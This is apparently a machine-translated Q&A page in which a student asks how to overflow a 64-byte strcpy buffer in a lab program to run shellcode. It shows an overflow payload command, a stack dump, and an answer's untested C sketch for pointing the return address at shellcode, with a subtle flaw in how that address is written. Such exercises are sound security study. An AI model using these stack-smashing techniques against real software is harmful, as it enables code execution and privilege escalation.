使用缓冲区溢出来执行shell代码

问题描述 投票:7回答:4

我最近一直在学习计算机安全,遇到了几个问题,特别是我遇到了一些问题。

我给了一个带有固定缓冲区的函数,我需要溢出才能在文件shellcode中执行shellcode。功能很简单:

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
}

我最初的猜测是修改函数的返回地址,eip,以便找到并执行shellcode文件中的内容,但我意识到我没有地址到我可以用十六进制值表示的文件。我很确定我需要操纵返回地址,所以我目前正在调用的是:

//the string is passed as a command line arg
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ")

我的输出是:

Stack dump:
0xffffd600: 0xffffd7fd (first argument)
0xffffd5fc: 0x08048653 (saved eip)
0xffffd5f8: 0xffffd641 (saved ebp)
0xffffd5f4: 0x41414141
0xffffd5f0: 0x41414141
0xffffd5ec: 0x41414141
0xffffd5e8: 0x41414141
0xffffd5e4: 0x41414141
0xffffd5e0: 0x41414141
0xffffd5dc: 0x41414141
0xffffd5d8: 0x41414141
0xffffd5d4: 0x41414141
0xffffd5d0: 0x41414141
0xffffd5cc: 0x41414141
0xffffd5c8: 0x41414141
0xffffd5c4: 0x41414141
0xffffd5c0: 0x41414141
0xffffd5bc: 0x41414141
0xffffd5b8: 0x41414141
0xffffd5b4: 0x41414141
0xffffd5b0: 0x41414141 (beginning of buffer)
Segmentation fault

python脚本只是输出72个字母A来溢出缓冲区到edp和eip的点,在我用额外的地址替换edp的地址并到达返回地址后,准备操作它。非常感谢任何帮助,谢谢!

c assembly buffer-overflow shellcode
4个回答
15
投票

好吧,我想这可能就像计算机系统中的缓冲区溢出实验室:程序员的观点。首先,使用objdump获取静态地址。其次,使用gdb运行它以找出堆栈的地址。然后,使用这样的字符串填充缓冲区,该字符串将返回地址覆盖到缓冲区(这样您可以放置​​漏洞利用代码,或者,您可以调用程序中的其他代码)。

看看这个pdf作为本实验的指南。它可以为您提供一些见解。

正如所指出的,需要大量的编译时标志来实现这一点。 (我会查看哪些并尽快回来)。或者,this帖子提供了如何编译这样一个例子的指南。


2
投票

我最初的猜测是修改函数的返回地址,eip,以便找到并执行shellcode文件中的内容,但我意识到我没有地址到我可以用十六进制值表示的文件。

您希望修改RET地址,以便在函数结束时它不会返回到其调用者,而是返回到shellcode的开头。

((作为shellcode的简要概述,它是一组汇编指令(因此严重依赖于您执行易受攻击的进程的平台)执行shell(通常是root shell),从而使您在一个良好的环境中脱颖而出你可以利用。))

现在回来,你想要的是将RET指向shellcode中的第一个汇编指令。奇怪的是,你将它放在一个单独的文件中。这需要吗?

通常做的是你有这样的事情:

char shellcode[] = "\x90\x90\x90...";


int main()
{
        /* 
         * huge string (like your 72 A's) that appends the address of the 
         * shellcode at the right address (in your case I think it's 64 + 4) 
         */
        char evilstring[100]; 

        /* Fill the buf and the EBP with A's */
        for (int i = 0; i < 64 + 4; i++) {
                evilstring[i] = 'A';
        }
        /* And the RET with the address of your shellcode */
        sprintf(&evilstring[68], "%p", &shellcode[0]);
        vuln(evilstring);
        /* you should have a shell now */

        /* NOTREACHED */
        return 0;
}

所以现在,当你的函数返回时,它返回shellcode []字符串的地址,并继续从那里执行指令。这是你想要的。因为这些指令为您提供了root shell(或者shellcode所做的任何事情)。

请注意,上面只是示例代码,甚至没有经过编译测试。

如果我不明白你的问题,或者我的解释不够好,请随时问。


1
投票
char buff[20];
unsigned int pass = 0;

当'buff'溢出时,额外输入将'pass'变为大于0,使其成为'true'值。


0
投票

当你知道在哪里看起来并不难,就像在打开应用程序w / gdb之前说的那样。运行。然后我(nfo)r(egisters)看看为什么它崩溃了。反汇编是非常有用的。

另外,(我假设你知道这个):

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
}

实际上是

void vuln(char *str) {
    void *return;
    char buf[64];

    /* Set Return value and store stack */
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
    /* restore stack and jmp to return value. */
}
© www.soinside.com 2019 - 2024. All rights reserved.